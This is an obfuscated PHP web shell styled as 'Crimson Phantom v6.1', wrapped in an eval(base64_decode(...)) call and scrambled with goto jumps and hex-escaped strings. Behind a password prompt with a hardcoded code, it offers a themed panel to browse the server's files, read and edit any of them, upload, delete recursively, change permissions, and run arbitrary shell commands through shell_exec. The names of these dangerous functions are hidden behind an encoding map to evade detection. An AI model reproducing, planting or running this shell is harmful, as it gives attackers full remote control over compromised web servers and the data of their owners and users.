<?php eval(base64_decode('
 goto iFSGX; oe7Hm: ?>
<div class="path-display"><strong>Current Realm:</strong><?php  goto JdZjR; lTijO: xPUmj: goto ul2SY; PfVs5: $BLOOD_ECHO = $phantom->getBloodFunction("\145\x63\x68\157"); goto jctEl; Dx2Nw: goto JNsZa; goto wlMbF; yN8aU: goto ShBXJ; goto dODGL; pDAK0: hy_Gz: goto SgxdT; KEnU3: if (isset($_FILES["\163\157\165\x6c\137\x66\x69\154\145"])) { $dest = $currentRealm . "\x2f" . basename($_FILES["\x73\157\x75\x6c\x5f\x66\x69\x6c\x65"]["\156\141\155\x65"]); $phantom->summon($BLOOD_UPLOAD, $_FILES["\163\157\x75\154\137\146\151\154\x65"], $dest); $bloodMessage = "\123\x6f\x75\x6c\x20\x68\x61\x72\166\x65\x73\164\145\144"; } goto BKSYG; G5UmB: goto zHZC7; goto I4tsL; D4ICX: $bloodAuth = new BloodAuth(); goto I3Pkr; iRj05: c1uxD: goto hbFYE; C50BT: goto N0K0L; goto ug8YF; BGSfW: CQXy_: goto PfVs5; ACCbw: N0K0L: goto z36cG; rj6Vh: ?>
</div><div class="blood-breadcrumb"><a href="?realm=.">🏰 Hell Root</a><?php  goto V8puQ; xE3nN: aXP06: goto ebqNs; hGR6M: ?>
| Hellfire:<?php  goto kdrKR; ZQBQ1: apXlq: goto Z4A50; JfPg3: echo urlencode($currentRealm); goto N0kN0; fzTZ5: goto lO1xZ; goto vkAph; tIg8j: $parts = explode("\x2f", trim($currentRealm, "\x2f")); goto C50BT; Fqy6A: f_9xJ: goto hGR6M; L3MG0: goto B6Wph; goto BWQh_; I3Pkr: goto srfhW; goto yKHON; UQAzy: goto zLvxc; goto TFaGy; O5osq: goto Xxj0s; goto TTaYB; HdT8j: ?>
"></div><div class="form-group"><input name="blood_mode"required placeholder="Blood Code"value="755"></div><button type="submit"class="blood-btn">Alter Blood</button></form></div></div></div><table class="soul-table"><thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Blood Code</th><th>Rituals</th></tr></thead><tbody><?php  goto beqTu; SN_v3: D41Q5: goto Qfv__; MnFjQ: goto QXv9N; goto iRj05; yKHON: ryqeW: goto fTG6L; Ak2nP: VqURK: goto rj6Vh; JHFCO: $currentRealm = isset($_GET["\162\x65\141\154\x6d"]) ? $_GET["\162\x65\141\x6c\x6d"] : "\x2e"; goto Chdtd; T68Ms: goto TnaMk; goto N7DOA; tB_1E: goto CQXy_; goto f07Lt; Y22Cy: goto Oi9sS; goto NQTJz; trrwP: error_reporting(0); goto YpUw2; veZvw: echo date("\x48\72\151\x3a\163"); goto eOZPJ; MtZrI: dOvSA: goto MQVP4; jB4he: $phantom = new PhantomCore(); goto tB_1E; WImDE: XmVVe: goto KEnU3; jctEl: goto Srmyr; goto VkWc8; BtX7I: goto qxMcQ; goto Bpce_; cckmb: ini_set("\x64\x69\163\x70\x6c\141\171\x5f\145\162\x72\157\162\x73", 0); goto L3MG0; VkWc8: cBvv8: goto uF5la; Vw0s6: Sfb3r: goto lcjDH; nphKi: echo $currentRealm; goto XZanw; dt_lr: HjHN4: goto j493E; gjolW: goto AE4Mt; goto Zfj67; ul2SY: $BLOOD_DELETE = $phantom->getBloodFunction("\x75\x6e\x6c\x69\x6e\153"); goto SHxnc; cx3Er: goto hrDiD; goto Vw0s6; a80ee: goto i9wC3; goto pDAK0; kdrKR: goto hy_Gz; goto OOilm; lcjDH: if (isset($_POST["\145\156\x74\x69\164\x79\x5f\x6e\141\x6d\x65"])) { $newPath = $currentRealm . "\57" . $_POST["\145\x6e\164\151\x74\x79\x5f\156\x61\x6d\145"]; if ($_POST["\145\156\164\x69\x74\x79\x5f\164\x79\160\145"] == "\x66\157\x6c\x64\x65\162") { $phantom->summon($BLOOD_MKDIR, $newPath); $bloodMessage = "\122\x65\141\154\x6d\x20\143\x72\x65\141\x74\x65\144"; } else { $phantom->summon($BLOOD_WRITE, $newPath, ''); $bloodMessage = "\123\x6f\x75\x6c\x20\x63\162\x65\x61\x74\145\x64"; } } goto gjolW; N9m3x: qxMcQ: goto dH3eK; Z4A50: $BLOOD_MKDIR = $phantom->getBloodFunction("\155\x6b\x64\151\x72"); goto I9LXO; Zx4PF: goto vgu12; goto Ak2nP; LcuLi: goto cBvv8; goto lc1i8; KeoXS: i9wC3: goto zPcn7; TTaYB: srfhW: goto jB4he; gFX21: ?>
</span><a href="?action=logout"class="blood-btn blood-btn-danger">Logout</a></div></div><?php  goto fXMrZ; t_OdH: class BloodAuth { private $bloodCode = "\61\60\x36"; private $sessionToken = "\160\150\141\x6e\x74\x6f\155\137\141\167\x61\x6b\x65"; private $crypt; public function __construct() { session_start(); $this->crypt = new BloodCrypt(); } public function validateBlood($input) { $burnedInput = $this->crypt->burnData($input); $burnedCode = $this->crypt->burnData($this->bloodCode); if ($burnedInput === $burnedCode) { $_SESSION[$this->sessionToken] = $this->crypt->burnData("\120\110\101\x4e\x54\x4f\x4d\137\101\x57\x41\x4b\x45"); $_SESSION["\142\x6c\157\x6f\x64\137\164\151\155\x65"] = time(); $_SESSION["\x72\x69\x74\165\141\154\137\x69\144"] = bin2hex(random_bytes(8)); return true; } $errors = array($this->crypt->burnData("\x42\x6c\x6f\157\144\x20\162\151\164\165\x61\154\x20\146\x61\x69\154\145\144"), $this->crypt->burnData("\115\x6f\157\x6e\40\162\x65\152\x65\x63\164\163\40\x6f\x66\146\x65\162\151\156\147"), $this->crypt->burnData("\123\x61\x63\x72\x69\146\151\143\145\40\x69\x6e\163\165\146\146\151\143\x69\x65\x6e\x74")); $_SESSION["\x62\154\157\157\144\x5f\145\x72\162\157\x72"] = $errors[array_rand($errors)]; return false; } public function isAwake() { if (!isset($_SESSION[$this->sessionToken])) { return false; } $stored = $_SESSION[$this->sessionToken]; $expected = $this->crypt->burnData("\x50\x48\x41\116\x54\x4f\x4d\x5f\x41\127\101\x4b\x45"); return $stored === $expected; } public function banish() { session_destroy(); } } goto Zx4PF; gmNqP: goto XmVVe; goto vB2qk; gCZ0S: goto gB9xR; goto orcwT; zPcn7: ?>
</tbody></table><?php  goto cx3Er; vh0TI: if (empty($realmContents)) { ?>
<tr><td colspan="5"style="text-align:center;padding:40px;color:var(--ember-orange)">🩸 Realm is void of souls</td></tr><?php  } else { foreach ($realmContents as $soul) { ?>
<tr><td><?php  if ($soul["\x74\171\160\x65"] == "\x64\x69\162\145\143\x74\157\x72\x79") { ?>
<span class="soul-icon">📁</span> <a href="?realm=<?php  echo urlencode($soul["\x70\x61\x74\150"]); ?>
"style="color:var(--hellfire-yellow)"><?php  echo htmlspecialchars($soul["\156\x61\155\x65"]); ?>
</a><?php  } else { ?>
<span class="soul-icon"><?php  echo $soul["\151\143\x6f\x6e"]; ?>
</span><?php  echo htmlspecialchars($soul["\156\141\155\145"]); } ?>
</td><td><?php  echo $soul["\163\x69\x7a\145"]; ?>
</td><td><?php  echo $soul["\155\x6f\x64\151\x66\151\145\144"]; ?>
</td><td><code style="background:rgba(255,0,0,.1);padding:3px 8px;border-radius:4px;color:var(--ember-orange)"><?php  echo $soul["\160\x65\162\155\x73"]; ?>
</code></td><td><div class="soul-actions"><?php  if ($soul["\x74\x79\x70\x65"] != "\x64\151\162\145\143\164\x6f\162\x79") { ?>
<a href="?edit=<?php  echo urlencode($soul["\160\141\x74\150"]); ?>
&realm=<?php  echo urlencode($currentRealm); ?>
"class="blood-btn blood-btn-success">Inscribe</a><?php  } ?>
<a href="?action=delete&target=<?php  echo urlencode($soul["\160\141\164\150"]); ?>
&realm=<?php  echo urlencode($currentRealm); ?>
"class="blood-btn blood-btn-danger"onclick='return confirm("Consume this soul for eternity?")'>Consume</a></div></td></tr><?php  } } goto a80ee; TQjFY: echo date("\110\x3a\151\x3a\x73"); goto WCj2R; dBwjf: Xxj0s: goto bKfkW; fTG6L: if ($currentRealm != "\x2e" && $currentRealm != "\x2f") { ?>
<tr><td colspan="5"><a href="?realm=<?php  echo urlencode(dirname($currentRealm)); ?>
"><span class="soul-icon">👻</span> <strong>.. (Parent Realm)</strong></a></td></tr><?php  } goto gCZ0S; pFcXO: $BLOOD_CHMOD = $phantom->getBloodFunction("\x63\x68\155\x6f\x64"); goto tAHS3; PYGFR: gB9xR: goto vh0TI; dH3eK: $BLOOD_WRITE = $phantom->getBloodFunction("\146\x69\154\145\137\160\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\163"); goto qitO1; MDv_t: goto LgEL6; goto dt_lr; hbFYE: $BLOOD_SCAN = $phantom->getBloodFunction("\163\x63\x61\x6e\144\151\162"); goto CVLnf; OOilm: Z5C1x: goto pFcXO; Bpce_: hrDiD: goto dgi2q; FaAxz: goto VqURK; goto dsnUO; Di0zo: JNsZa: goto j_htU; N0kN0: goto O3k8x; goto dBwjf; pCzcH: goto aXP06; goto WImDE; tAHS3: goto c1uxD; goto ACCbw; i32lB: goto ZiZMP; goto Di0zo; oEnAw: goto UWcHC; goto N9m3x; dgi2q: if (isset($_GET["\145\144\x69\164"])) { ?>
<div class="blood-editor"><div class="editor-header"><strong>🖋️ Inscribing:</strong><?php  echo htmlspecialchars(basename($_GET["\x65\144\x69\x74"])); ?>
</div><form method="post"><input name="data_target"type="hidden"value="<?php  echo $_GET["\145\x64\151\x74"]; ?>
"> <textarea class="blood-content"name="blood_data"><?php  $content = $phantom->summon($BLOOD_READ, $_GET["\x65\144\x69\x74"]); if ($content !== false) { echo htmlspecialchars($content); } ?>
</textarea><div style="padding:20px;text-align:center;background:var(--dark-red)"><button type="submit"class="blood-btn"style="padding:15px 40px;font-size:1.2rem">🩸 Seal with Blood</button> <a href="?realm=<?php  echo urlencode($currentRealm); ?>
"class="blood-btn blood-btn-danger">Cancel</a></div></form></div><?php  } goto Y8miZ; uF5la: $bloodMessage = ''; goto MnFjQ; zETHu: foreach ($parts as $part) { if (!empty($part)) { $current .= "\57" . $part; echo "\x20\360\x9f\xa9\xb8\40"; echo "\74\141\x20\150\162\145\x66\75\x22\77\x72\145\x61\154\x6d\75" . urlencode($current) . "\x22\x3e" . $part . "\x3c\57\141\x3e"; } } goto Dx2Nw; dODGL: rfgp0: goto Rzcxy; fXMrZ: goto HjHN4; goto MtZrI; NU9H6: ?>
"><div class="form-group"><input name="target_path"required value="<?php  goto oEnAw; z36cG: $current = ''; goto T68Ms; iFSGX: goto cykBW; goto ZkA7i; y1Gu0: if (isset($_GET["\141\x63\x74\x69\x6f\156"])) { $action = $_GET["\141\143\164\x69\x6f\x6e"]; switch ($action) { case "\x64\145\154\145\164\x65": if (isset($_GET["\x74\141\162\x67\x65\164"])) { $phantom->summon($BLOOD_DELETE, $_GET["\x74\x61\x72\147\x65\164"]); header("\114\x6f\x63\x61\164\x69\x6f\156\72\40\x3f\162\x65\141\154\155\75" . urlencode($currentRealm)); die; } break; case "\x6c\x6f\x67\x6f\x75\x74": $bloodAuth->banish(); header("\114\x6f\143\141\x74\x69\157\x6e\x3a\40" . $_SERVER["\x50\110\120\137\x53\105\114\106"]); die; case "\143\157\x6d\x6d\141\x6e\x64": if (isset($_POST["\x68\145\x6c\x6c\137\x63\x6d\x64"])) { $output = $phantom->summon($BLOOD_EXEC, $_POST["\150\x65\x6c\154\137\x63\x6d\x64"]); $bloodMessage = htmlspecialchars($output); } break; case "\x63\x68\155\x6f\144": if (isset($_POST["\164\x61\x72\147\x65\164\137\160\141\164\150"]) && isset($_POST["\142\154\x6f\x6f\x64\x5f\155\157\x64\x65"])) { $phantom->summon($BLOOD_CHMOD, $_POST["\x74\141\162\147\x65\164\137\160\141\164\150"], $_POST["\142\x6c\x6f\157\x64\x5f\x6d\x6f\144\x65"]); $bloodMessage = "\x42\154\x6f\157\144\x20\x70\145\162\x6d\x69\163\x73\x69\x6f\156\163\40\x61\154\164\145\162\x65\144"; } break; } } goto gmNqP; AbL3s: if (!$bloodAuth->isAwake()) { if (isset($_POST["\x62\x6c\157\x6f\x64\x5f\153\x65\x79"])) { if ($bloodAuth->validateBlood($_POST["\142\x6c\x6f\157\x64\137\153\145\x79"])) { header("\114\x6f\x63\x61\164\x69\157\156\x3a\x20" . $_SERVER["\120\110\120\137\x53\x45\114\x46"]); die; } } ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>Blood Moon Ritual</title><style>:root{--blood-red:#ff0000;--crimson:#dc143c;--dark-red:#8b0000;--hell-black:#0a0a0a;--charcoal:#1a1a1a;--ember-orange:#ff4500}body{font-family:Georgia,serif;background:var(--hell-black);color:var(--blood-red);margin:0;padding:20px;display:flex;justify-content:center;align-items:center;min-height:100vh;background-image:radial-gradient(circle at 20% 30%,rgba(255,0,0,.1) 0,transparent 40%),radial-gradient(circle at 80% 70%,rgba(139,0,0,.1) 0,transparent 40%)}.ritual-box{background:var(--charcoal);padding:40px;border-radius:15px;border:3px solid var(--crimson);width:100%;max-width:400px;box-shadow:0 0 50px var(--blood-red);text-align:center}h2{color:var(--blood-red);margin-bottom:30px;font-size:2rem;text-shadow:0 0 10px var(--blood-red)}.form-group{margin-bottom:25px}input[type=password]{width:100%;padding:15px;background:var(--hell-black);border:2px solid var(--dark-red);border-radius:10px;color:var(--blood-red);font-size:1.2rem;text-align:center;letter-spacing:3px}button{width:100%;padding:15px;background:linear-gradient(var(--dark-red),var(--crimson));color:#fff;border:none;border-radius:10px;font-size:1.2rem;font-weight:700;cursor:pointer;transition:.3s}button:hover{background:linear-gradient(var(--crimson),var(--ember-orange));box-shadow:0 0 20px var(--blood-red)}.error{color:var(--ember-orange);margin:15px 0;padding:10px;border:1px solid var(--ember-orange);border-radius:5px;background:rgba(255,69,0,.1)}</style></head><body><div class="ritual-box"><h2>🌑 Blood Moon Ritual</h2><?php  if (isset($_SESSION["\x62\154\x6f\157\x64\x5f\145\162\x72\157\x72"])) { $crypt = new BloodCrypt(); $errorMsg = $crypt->extractData($_SESSION["\142\x6c\x6f\157\x64\x5f\x65\162\162\157\x72"]); unset($_SESSION["\142\154\157\x6f\144\x5f\145\162\162\x6f\162"]); ?>
<div class="error">⚠️<?php  echo $errorMsg; ?>
</div><?php  } ?>
<form method="post"><div class="form-group"><input name="blood_key"required placeholder="Enter Blood Code"autofocus type="password"></div><button type="submit">🔪 Awaken Phantom</button></form></div></body></html><?php  die; } goto Y22Cy; B_b9l: goto J2gPS; goto jkhu6; gLs81: ?>
<div class="blood-footer">Crimson Phantom v6.1 | Blood Moon: Waxing | Time:<?php  goto i32lB; QWkun: gX_Uj: goto HDPza; Y8miZ: goto S1yB_; goto aCrKV; N7DOA: zHZC7: goto wRH2O; faRV7: J2gPS: goto P2uZ7; Ag7dP: goto D6ASE; goto ZQBQ1; qitO1: goto xPUmj; goto G99I8; eOZPJ: goto t0Hcd; goto lTijO; Qfv__: $BLOOD_UPLOAD = $phantom->getBloodFunction("\x6d\x6f\166\145\x5f\x75\x70\154\x6f\141\x64\145\144\137\x66\x69\154\145"); goto yN8aU; f07Lt: D6ASE: goto oe7Hm; BKSYG: goto Sfb3r; goto ybZaD; V_qOF: $BLOOD_EXEC = $phantom->getBloodFunction("\163\x68\145\154\154\137\x65\170\x65\143"); goto UYDxO; CliXf: ShBXJ: goto AbL3s; V8puQ: goto cWGKQ; goto y8UB3; vh_fa: vgu12: goto trrwP; wlMbF: o3ZGU: goto JfPg3; JdZjR: goto hivgl; goto SN_v3; vkAph: cykBW: goto j7Fzp; beqTu: goto ryqeW; goto kEgsE; bKfkW: ?>
"><div class="form-group"><input name="hell_cmd"required placeholder="Hellfire Command"></div><button type="submit"class="blood-btn blood-btn-danger">Invoke</button></form></div><div class="tool-card"><h3>🔮 Blood Permissions</h3><form method="post"action="?action=chmod&realm=<?php  goto mh9hX; ybZaD: PjmY8: goto HdT8j; MQVP4: $currentRealm = realpath($currentRealm) ?: "\56"; goto LcuLi; j493E: if ($bloodMessage) { ?>
<div class="blood-message">🩸<?php  echo $bloodMessage; ?>
</div><?php  } goto Ag7dP; ZkA7i: zLvxc: goto t_OdH; TFaGy: hivgl: goto PZzFk; y8UB3: QXv9N: goto y1Gu0; HDPza: $BLOOD_READ = $phantom->getBloodFunction("\x66\151\154\x65\x5f\147\145\x74\137\x63\x6f\156\164\x65\x6e\164\163"); goto BtX7I; WCj2R: goto f_9xJ; goto xE3nN; CVLnf: goto D41Q5; goto KeoXS; kEgsE: ntp8V: goto cckmb; j_htU: ?>
</div><div class="ritual-tools"><h2 style="color:var(--blood-red)">⚡ Hellfire Tools</h2><div class="tools-grid"><div class="tool-card"><h3>👻 Harvest Soul</h3><form method="post"enctype="multipart/form-data"><div class="form-group"><input name="soul_file"required type="file"></div><button type="submit"class="blood-btn">Upload to Hell</button></form></div><div class="tool-card"><h3>⚰️ Create Entity</h3><form method="post"><div class="form-group"><input name="entity_name"required placeholder="Entity Name"></div><div class="form-group"><select name="entity_type"><option value="file">📜 Soul Scroll</option><option value="folder">🏰 Phantom Realm</option></select></div><button type="submit"class="blood-btn blood-btn-success">Summon</button></form></div><div class="tool-card"><h3>🔥 Hellfire Command</h3><form method="post"action="?action=command&realm=<?php  goto B_b9l; NQTJz: cWGKQ: goto tIg8j; SHxnc: goto apXlq; goto QWkun; YpUw2: goto ntp8V; goto Fqy6A; PZzFk: echo $currentRealm; goto FaAxz; SgxdT: echo round(memory_get_usage(true) / 1024 / 1024, 2); goto G5UmB; poaPg: t0Hcd: goto gFX21; v1A1I: goto rfgp0; goto faRV7; dsnUO: TnaMk: goto zETHu; aCrKV: O3k8x: goto NU9H6; Chdtd: goto dOvSA; goto poaPg; j7Fzp: class BloodCrypt { private $bloodKey = "\x43\x52\x49\x4d\x53\117\x4e\x5f\120\x48\101\116\x54\117\x4d\x5f\x32\60\x32\64"; public function burnData($data) { $step1 = gzcompress($data, 9); $step2 = str_rot13($step1); $step3 = strrev($step2); $step4 = base64_encode($step3); return $step4; } public function extractData($burned) { $step1 = base64_decode($burned); $step2 = strrev($step1); $step3 = str_rot13($step2); $step4 = gzuncompress($step3); return $step4; } private $phantomMap = array("\x62\x6c\157\157\144\x45\143\150\x6f" => "\145\x63\x68\x6f", "\x68\145\154\x6c\105\170\145\x63\165\x74\x65" => "\163\x68\x65\154\154\x5f\145\x78\145\x63", "\x73\x70\145\143\x74\x65\162\122\145\x61\144" => "\146\151\x6c\x65\137\147\x65\x74\137\143\157\156\164\x65\x6e\x74\163", "\x70\x68\141\156\164\x6f\155\x57\162\x69\164\145" => "\x66\x69\154\145\137\x70\x75\164\137\143\157\156\x74\145\156\x74\x73", "\x76\157\151\144\x44\145\154\145\x74\x65" => "\165\156\x6c\x69\x6e\x6b", "\147\x68\x6f\163\x74\115\153\144\x69\162" => "\155\153\x64\x69\x72", "\142\x6c\x6f\157\144\103\150\x6d\157\144" => "\143\150\x6d\x6f\x64", "\x73\x68\x61\x64\157\x77\x53\143\x61\156" => "\163\143\141\156\144\x69\x72", "\x73\160\x65\143\164\x65\x72\125\160\x6c\x6f\x61\144" => "\155\x6f\166\145\x5f\165\x70\154\x6f\141\144\145\144\137\x66\x69\154\145"); public function getBloodCode($realName) { foreach ($this->phantomMap as $phantom => $real) { if ($real === $realName) { return $this->burnData($phantom); } } return null; } } goto MDv_t; I4tsL: S1yB_: goto gLs81; EFxdN: if (isset($_POST["\x62\154\x6f\x6f\144\x5f\144\x61\x74\x61"])) { $phantom->summon($BLOOD_WRITE, $_POST["\x64\141\164\x61\137\164\x61\162\147\x65\164"], $_POST["\142\154\157\x6f\144\x5f\x64\141\x74\141"]); $bloodMessage = "\x42\154\157\157\144\x20\x69\156\x73\x63\x72\x69\x70\x74\151\157\156\x20\143\x6f\155\160\x6c\x65\164\x65"; } goto v1A1I; I9LXO: goto Z5C1x; goto vh_fa; Zfj67: AE4Mt: goto EFxdN; XZanw: goto PjmY8; goto BGSfW; G99I8: Oi9sS: goto JHFCO; ebqNs: ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>Crimson Phantom v6.1</title><style>:root{--blood-red:#ff0000;--crimson:#dc143c;--dark-red:#8b0000;--hell-black:#0a0a0a;--charcoal:#1a1a1a;--ember-orange:#ff4500;--hellfire-yellow:#ffd700;--phantom-purple:#800080}*{margin:0;padding:0;box-sizing:border-box}body{font-family:Georgia,serif;background:var(--hell-black);color:#fff}.container{max-width:1400px;margin:0 auto;padding:20px}.blood-header{background:var(--charcoal);color:var(--blood-red);padding:20px;border-radius:10px;margin-bottom:20px;display:flex;justify-content:space-between;align-items:center;border:2px solid var(--crimson);box-shadow:0 0 20px var(--blood-red)}.blood-header h1{font-size:28px;text-shadow:0 0 10px var(--blood-red)}.blood-message{padding:15px;background:rgba(139,0,0,.2);color:var(--hellfire-yellow);border-radius:10px;margin-bottom:20px;border:1px solid var(--ember-orange)}.path-display{background:var(--charcoal);padding:15px;border-radius:10px;margin-bottom:20px;font-family:monospace;border:1px solid var(--dark-red);color:var(--blood-red)}.ritual-tools{background:var(--charcoal);padding:25px;border-radius:10px;margin-bottom:20px;border:1px solid var(--crimson)}.tools-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(320px,1fr));gap:20px;margin-top:20px}.tool-card{border:1px solid var(--dark-red);padding:20px;border-radius:10px;transition:.3s}.tool-card:hover{border-color:var(--blood-red);box-shadow:0 0 15px var(--blood-red)}.tool-card h3{color:var(--ember-orange);margin-bottom:15px;border-bottom:1px solid var(--dark-red);padding-bottom:10px}.form-group{margin-bottom:15px}label{display:block;margin-bottom:8px;color:var(--blood-red)}input[type=file],input[type=password],input[type=text],select,textarea{width:100%;padding:10px;background:var(--hell-black);border:1px solid var(--dark-red);border-radius:5px;color:#fff}.blood-btn{display:inline-block;padding:10px 20px;background:var(--crimson);color:#fff;border:none;border-radius:5px;cursor:pointer;text-decoration:none;transition:.3s}.blood-btn:hover{background:var(--blood-red);box-shadow:0 0 10px var(--blood-red)}.blood-btn-success{background:var(--phantom-purple)}.blood-btn-danger{background:var(--ember-orange)}.soul-table{width:100%;background:var(--charcoal);border-radius:10px;border-collapse:collapse;margin-bottom:20px;border:1px solid var(--dark-red)}.soul-table th{background:var(--dark-red);color:#fff;padding:15px;text-align:left}.soul-table td{padding:12px 15px;border-bottom:1px solid var(--dark-red)}.soul-table tr:hover{background:rgba(255,0,0,.05)}.soul-icon{margin-right:10px}.soul-actions{display:flex;gap:10px}.blood-breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:10px;margin:15px 0}.blood-breadcrumb a{color:var(--ember-orange);text-decoration:none}.blood-editor{background:var(--charcoal);border-radius:10px;overflow:hidden;border:2px solid var(--hellfire-yellow);margin-bottom:20px}.editor-header{background:var(--dark-red);color:var(--hellfire-yellow);padding:15px}.blood-content{width:100%;min-height:400px;padding:20px;background:var(--hell-black);border:none;color:#fff;font-family:monospace;font-size:14px}.blood-footer{text-align:center;margin-top:30px;color:#666;font-size:12px;border-top:1px solid var(--dark-red);padding-top:20px}</style></head><body><div class="container"><div class="blood-header"><h1>🔥 Crimson Phantom v6.1</h1><div><span style="color:var(--ember-orange)">Blood Moon Active |<?php  goto fzTZ5; Rzcxy: $realmContents = $phantom->summon($BLOOD_SCAN, $currentRealm); goto pCzcH; lc1i8: LgEL6: goto PXaKe; orcwT: Srmyr: goto V_qOF; P2uZ7: echo urlencode($currentRealm); goto O5osq; UYDxO: goto gX_Uj; goto CliXf; PXaKe: class PhantomCore { private $bloodCrypt; private $ghostFunctions = array(); public function __construct() { $this->bloodCrypt = new BloodCrypt(); $this->summonPhantoms(); } private function summonPhantoms() { $this->ghostFunctions = array($this->bloodCrypt->getBloodCode("\x65\x63\x68\x6f") => function ($data) { echo $data; return true; }, $this->bloodCrypt->getBloodCode("\163\150\145\154\x6c\x5f\x65\170\145\x63") => function ($cmd) { if (function_exists("\163\150\145\x6c\154\x5f\145\170\145\x63")) { return shell_exec($cmd); } return "\133\105\130\105\x43\x55\124\x49\117\116\x5f\x42\x4c\117\103\x4b\105\x44\x5d"; }, $this->bloodCrypt->getBloodCode("\x66\x69\x6c\145\x5f\147\x65\164\x5f\x63\x6f\156\164\145\x6e\164\x73") => function ($path) { if (file_exists($path)) { return file_get_contents($path); } return false; }, $this->bloodCrypt->getBloodCode("\x66\151\x6c\x65\137\x70\x75\x74\x5f\x63\x6f\x6e\164\x65\x6e\x74\x73") => function ($path, $content) { return file_put_contents($path, $content); }, $this->bloodCrypt->getBloodCode("\165\x6e\154\151\156\153") => function ($path) { if (is_dir($path)) { return $this->purgeBlood($path); } return unlink($path); }, $this->bloodCrypt->getBloodCode("\x6d\153\144\x69\x72") => function ($path) { return mkdir($path, 493, true); }, $this->bloodCrypt->getBloodCode("\x63\x68\x6d\x6f\x64") => function ($path, $mode) { return chmod($path, octdec($mode)); }, $this->bloodCrypt->getBloodCode("\x73\x63\x61\156\x64\151\x72") => function ($path) { return $this->scanBlood($path); }, $this->bloodCrypt->getBloodCode("\x6d\x6f\166\x65\x5f\165\x70\154\157\x61\x64\145\144\x5f\x66\151\x6c\x65") => function ($file, $dest) { return move_uploaded_file($file["\x74\155\160\x5f\x6e\x61\155\x65"], $dest); }); } private function scanBlood($path) { $souls = array(); if (is_dir($path)) { $demons = scandir($path); foreach ($demons as $demon) { if ($demon != "\56" && $demon != "\56\56") { $fullPath = $path . "\57" . $demon; $souls[] = array("\x6e\x61\x6d\145" => $demon, "\160\141\164\150" => $fullPath, "\164\171\160\145" => is_dir($fullPath) ? "\x64\151\x72\145\143\x74\x6f\162\x79" : "\x66\151\x6c\145", "\163\x69\172\x65" => $this->formatSoulSize(filesize($fullPath)), "\155\157\144\x69\146\x69\x65\144" => date("\131\55\x6d\x2d\144\x20\x48\72\151\72\x73", filemtime($fullPath)), "\x70\x65\162\x6d\x73" => substr(sprintf("\x25\157", fileperms($fullPath)), -4), "\151\x63\157\156" => is_dir($fullPath) ? "\360\237\223\x81" : $this->getDemonIcon($demon)); } } } return $souls; } private function getDemonIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array("\x70\x68\160" => "\360\237\224\245", "\152\x73" => "\xf0\x9f\x91\xb9", "\x68\x74\x6d\154" => "\xf0\237\214\213", "\x63\x73\163" => "\360\x9f\216\xad", "\x6a\x73\x6f\156" => "\360\x9f\x93\234", "\x73\x71\154" => "\xf0\237\227\x84\xef\xb8\217", "\164\x78\164" => "\xf0\x9f\223\226", "\x70\x64\146" => "\360\237\223\x95", "\x6a\160\x67" => "\xf0\237\226\274\357\xb8\x8f", "\160\156\147" => "\xf0\237\x96\274\xef\xb8\x8f", "\147\151\x66" => "\360\x9f\226\274\357\xb8\x8f", "\172\151\160" => "\360\x9f\x97\234\xef\xb8\217", "\155\160\x33" => "\xf0\237\x8e\xb5", "\155\x70\64" => "\360\237\x8e\xa5", "\145\170\x65" => "\342\232\x99\357\270\217", "\x64\x65\x66\x61\165\x6c\164" => "\xf0\237\223\x84"); return $icons[$ext] ?? $icons["\x64\x65\x66\x61\x75\154\x74"]; } private function formatSoulSize($bytes) { if ($bytes == 0) { return "\60\x20\102"; } $units = array("\102", "\113\102", "\115\x42", "\107\102"); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . "\40" . $units[$i]; } private function purgeBlood($dir) { if (!is_dir($dir)) { return false; } $demons = array_diff(scandir($dir), array("\56", "\56\x2e")); foreach ($demons as $demon) { $path = $dir . "\x2f" . $demon; if (is_dir($path)) { $this->purgeBlood($path); } else { unlink($path); } } return rmdir($dir); } public function summon($bloodCode, ...$params) { if (isset($this->ghostFunctions[$bloodCode])) { $handler = $this->ghostFunctions[$bloodCode]; if ($bloodCode === $this->bloodCrypt->getBloodCode("\163\x63\x61\x6e\x64\x69\162") || $bloodCode === $this->bloodCrypt->getBloodCode("\165\x6e\154\x69\156\153")) { $handler = \Closure::bind($handler, $this, get_class()); } return $handler(...$params); } return null; } public function getBloodFunction($name) { return $this->bloodCrypt->getBloodCode($name); } } goto UQAzy; ug8YF: lO1xZ: goto veZvw; vB2qk: UWcHC: goto nphKi; BWQh_: B6Wph: goto D4ICX; mh9hX: goto o3ZGU; goto PYGFR; jkhu6: ZiZMP: goto TQjFY; wRH2O: ?>
MB</div></div><script>// Auto-hide messages
        setTimeout(function() {
            var messages = document.querySelectorAll('.blood-message');
            messages.forEach(function(msg) {
                msg.style.opacity = '0';
                msg.style.transition = 'opacity 0.5s';
                setTimeout(function() {
                    msg.style.display = 'none';
                }, 500);
            });
        }, 5000);

        // Confirm actions
        document.querySelectorAll('.blood-btn-danger').forEach(function(btn) {
            btn.addEventListener('click', function(e) {
                if (!confirm('⚠️ Eternal consumption? No return from hell.')) {
                    e.preventDefault();
                }
            });
        });

        // Auto-expand textarea
        document.querySelectorAll('textarea').forEach(function(ta) {
            ta.addEventListener('input', function() {
                this.style.height = 'auto';
                this.style.height = (this.scrollHeight) + 'px';
            });
        });
        
        // Add blood drip effect
        function createBloodDrip() {
            const drip = document.createElement('div');
            drip.style.cssText = `
                position: fixed;
                top: -50px;
                left: ${Math.random() * 100}%;
                width: 2px;
                height: ${50 + Math.random() * 100}px;
                background: linear-gradient(transparent, #ff0000, transparent);
                z-index: 9999;
                pointer-events: none;
                animation: bloodFall ${1 + Math.random() * 2}s linear;
            `;
            
            document.body.appendChild(drip);
            
            setTimeout(() => {
                drip.remove();
            }, 3000);
        }
        
        // Random blood drips
        setInterval(createBloodDrip, 1000);
        
        // Add CSS for animation
        const style = document.createElement('style');
        style.textContent = `
            @keyframes bloodFall {
                0% { top: -100px; opacity: 0; }
                10% { opacity: 1; }
                90% { opacity: 1; }
                100% { top: 100vh; opacity: 0; }
            }
        `;
        document.head.appendChild(style);</script></body></htm')); ?>